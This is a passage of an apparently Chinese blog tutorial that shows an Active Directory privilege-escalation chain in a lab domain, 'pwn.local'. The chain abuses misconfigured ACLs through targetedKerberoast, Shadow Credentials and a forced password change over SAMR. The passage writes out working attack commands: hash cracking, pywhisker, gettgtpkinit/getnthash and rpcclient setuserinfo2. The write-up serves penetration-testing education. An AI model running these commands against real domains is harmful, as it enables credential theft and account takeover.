src="https://wechat2rss.xlab.app/img-proxy/?k=c1f7c49d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oLtQvIZ2YX8j4Fa1dSlsgkazD9tG3TibKyibnv13T4eYNfJk0MGnZs8Dg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">标红的都属于非系统默认的ACL的账户，看起来就非常异常。查找具体的规则：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.20277777777777778" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3cde27ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oQHS7A1EonLsRazCp5QFpEzic8ibV4J1GPGBFpRSFPvEkWSTNlMo7IuEQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以看到Amy.Gibson对Brandi.Khan的00000000-0000-0000-0000-000000000000(即所有属性)有writeDACL权限。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">脆弱性利用</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>不安全的配置导致权限提升<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">需要重点关注的ACE如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">ForceChangePassword：强制改变当下的密码<br/> <br/>AddMembers：可以对目标组添加用户（包括自己的账户）<br/> <br/>GenericAll：完全控制对象，包括更改密码、注册SPN、添加AD对象到目标组里面<br/> <br/>GenericWrite:更改目标写入参数，导致下次用户登录脚本就要执行<br/> <br/>WriteOwne：更新目标对象的所有者，可以让自己成为所有者<br/> <br/>WriteDACL：更新对面的DACL，将ACL写入对面实体，直接授予我们的账户对对象的完全控制权<br/> <br/>AllExtendedRights：能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的能力。<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这些权限可以帮助我们进行一定程度的提权，但一般我们选择对目标破坏性最小的一些方案。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">实战案例</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们现在拥有Amy.Gibson的账户密码，可以导出ACL及ldap信息：</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Amy.Gibson在ldap方面仅仅是一个普通用户，没有什么可以利用的地方：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">objectClass: top<br/>objectClass: person<br/>objectClass: organizationalPerson<br/>objectClass: user<br/>cn: Amy.Gibson<br/>distinguishedName: CN=Amy.Gibson,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/>instanceType: 4<br/>whenCreated: 04/16/2023 05:29:00<br/>whenChanged: 04/16/2023 06:05:55<br/>uSNCreated: 12880<br/>uSNChanged: 13096<br/>name: Amy.Gibson<br/>objectGUID: {9C994167-7B22-4979-98A1-712505B8E69B}<br/>userAccountControl: 66048<br/>badPwdCount: 0<br/>codePage: 0<br/>countryCode: 0<br/>badPasswordTime: 0<br/>lastLogoff: 0<br/>lastLogon: 0<br/>pwdLastSet: 133260965408921060<br/>primaryGroupID: 513<br/>objectSid: S-1-5-21-1540577040-1432127714-718651653-1111<br/>accountExpires: 0<br/>logonCount: 0<br/>sAMAccountName: Amy.Gibson<br/>sAMAccountType: 805306368<br/>objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/>dSCorePropagationData: 01/01/1601 00:00:00<br/>lastLogonTimestamp: 133260987556163029<br/>ADsPath: LDAP://dc.pwn.local/CN=Amy.Gibson,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">查看整域的acl，可以看到有几个账户都有异常的权限：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">[+] show WriteDACLoperation<br/>Administrators<br/>Domain Admins<br/>Enterprise Admins<br/>Account Operators<br/>Amy.Gibson<br/>Brandi.Khan<br/>Jane.Ward<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>writeDACL on users(Amy.Gibson -&gt; Brandi.Khan)<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">查看完整的acl信息，Amy.Gibson 对 Brandi.Khan 有writeDACL权限:</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Amy.Gibson has WriteDacl to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1115, CN=Brandi.Khan,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以通过远程直接使用ADSI edit赋予Brandi.Khan用户GenericAll权限，普通win10安装域功能后自带该工具：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6976744186046512" style="display: block;margin: 0 auto;max-width: 100%;" data-w="731" src="https://wechat2rss.xlab.app/img-proxy/?k=67c4df7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1o7RJliaBsdiahOcAg7ctcZHsTC2ic89dl1vdtklJCX368ZwbFrPFneSxCw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">设置连接参数：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5376128385155466" style="display: block;margin: 0 auto;max-width: 100%;" data-w="997" src="https://wechat2rss.xlab.app/img-proxy/?k=ef089b82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1o4zx8Pftf5QYOxjR6giavPguUexT6OuqETYIL8xMB4K5PZc8HM8euHBg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">修改Brandi.Khan的权限：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5451950523311132" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1051" src="https://wechat2rss.xlab.app/img-proxy/?k=282e36f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1o044ryMOEhicaHPG0VsQSaNAl27VyBzBMZGmMvHIZ6OV2qQztWNnI4qw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们现在有Brandi.Khan账户的权限，暴力一些可以直接修改Brandi.Khan的密码，但在实际渗透中不会选择这样做。想要获取其密码我们可以使用targetedKerberoast技术。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>targetedKerberoast<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这种技术解释起来很简单，就是有修改某一个账户权限的时候给这个账户新增一个spn，之后使用keberoasting破解密码即可。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用<a href="https://github.com/ShutdownRepo/targetedKerberoast这个工具，会自动检测ACL，提供已有的账户密码即可：" target="_blank">https://github.com/ShutdownRepo/targetedKerberoast这个工具，会自动检测ACL，提供已有的账户密码即可：</a></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2972222222222222" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a10efe00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oIK6ztjnxMsx00cSJCy0FMiafxoFz5ru131pEjDhx6mqTDAhmjah9fxA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">最后会自动删除spn。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">进行破解，获得Brandi.Khan的密码：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast<br/>hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt<br/>./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">获得Brandi.Khan的密码P@ssw0rd。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>ShadowCredentials(Brandi.Khan -&gt; Carol.Dean)<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过targetedKerberoast我们已经拥有了Brandi.Khan权限，查看Brandi.Khan相关的acl：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Brandi.Khan has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1141, CN=Carol.Dean,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">发现Brandi.Khan对Carol.Dean有GenericAll权限，除了targetedKerberoast技术，我们还可以使用Shadow Credentials技术。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Shadow Credentials简单来说就是我们可以设置某个账户的msDS-KeyCredentialLink属性，msDS-KeyCredentialLink可以设置公私密钥身份验证凭据，并使用它们获取特殊服务票证，该票证在您可以解密的加密 NTLM_SUPPLEMENTAL_CREDENTIAL 实体中的特权属性证书 (PAC) 中包含其 NTLM 哈希。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用工具<a href="https://github.com/ShutdownRepo/pywhisker进行利用:" target="_blank">https://github.com/ShutdownRepo/pywhisker进行利用:</a></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">python pywhisker.py -d <span style="color: #D69D85;line-height: 26px;">&#34;pwn.local&#34;</span> -u <span style="color: #D69D85;line-height: 26px;">&#34;Brandi.Khan&#34;</span> -p <span style="color: #D69D85;line-height: 26px;">&#34;P@ssw0rd&#34;</span> --target <span style="color: #D69D85;line-height: 26px;">&#34;Carol.Dean&#34;</span> --action <span style="color: #D69D85;line-height: 26px;">&#34;add&#34;</span> --filename test1<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">利用成功：<img class="rich_pages wxw-img" data-ratio="0.1638888888888889" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=817fdd38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oD1QUznUw6MjJMDSicPFMsUpYkjea6pOZDBfInjBmiaib6gmgPibVsRLdRQ%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">生成了证书及密码文件，使用证书进行认证：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache<br/><span style="color: #4EC9B0;line-height: 26px;">set</span> KRB5CCNAME=Carol.Dean.ccache<br/>python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3111111111111111" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8c1cb2b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795BGx3NqZQCushImQQmyb1oP4rEhPgnPSeIsRlRe8ysPDeSVToAkEquedqEiaDwAN7MZpNnV7pxhZw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">清理后门：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">python pywhisker.py -d <span style="color: #D69D85;line-height: 26px;">&#34;pwn.local&#34;</span> -u <span style="color: #D69D85;line-height: 26px;">&#34;Brandi.Khan&#34;</span> -p <span style="color: #D69D85;line-height: 26px;">&#34;P@ssw0rd&#34;</span> --target <span style="color: #D69D85;line-height: 26px;">&#34;Carol.Dean&#34;</span> --action <span style="color: #D69D85;line-height: 26px;">&#34;clear&#34;</span><br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>ForceChangePassword(Carol.Dean -&gt; Jane.Ward)<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Carol.Dean有Jane.Ward的ForceChangePassword权限</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Carol.Dean has WriteProperty to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span>]<br/>Carol.Dean has ExtendedRight to 00299570-246d-11d0-a768-00aa006e0529 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以通过远程MSRPC-SAMR协议修改Jane.Ward的密码，rpcclient默认支持hash认证：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">rpcclient -U <span style="color: #D69D85;line-height: 26px;">&#34;pwn\Carol.Dean&#34;</span> //10.0.1.100 --pw-nt-hash<br/>&gt;input nthash<br/>rpcclient $&gt; setuserinfo2<br/>setuserinfo2 Jane.Ward 23 Admin7Bits<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过MSRPC我们成功远程修改了Jane.Ward用户的密码。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>GenericAll on groups(Jane.Ward -&gt; account opertaors)<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Jane.Ward拥有对IT administrators组的GenericAll权限：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">Jane.Ward has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1152, CN=IT administrators,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过ldap信息，我们知道IT administrators 是 account opertaors组的成员：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgZZbF9PmBYcBgibaP3JfbBTrLL4Vm9bdxfT9QyxG8GAicCx6ndssf3PzTuk57HKDSaibWIj4u74w1mL/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">objectClass: top<br/>objectClass: group<br/>cn: IT administrators<br/>distinguishedName: CN=IT administrators,CN=Users,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/>instanceType: 4<br/>whenCreated: 04/16/2023 09:53:05<br/>whenChanged: 04/16/2023 10:55:21<br/>uSNCreated: 13114<br/>memberOf: CN=Account Operators,CN=Builtin,DC=pwn,DC=<span style="color: #4EC9B0;line-height: 26px;">local</span><br/>uSNChanged: 13126<br/>name: IT administrators<br/>objectGUID: {D29F7FE0-13E1-4A20-A46B-63D9BD30D6AD}<br/>objectSid: 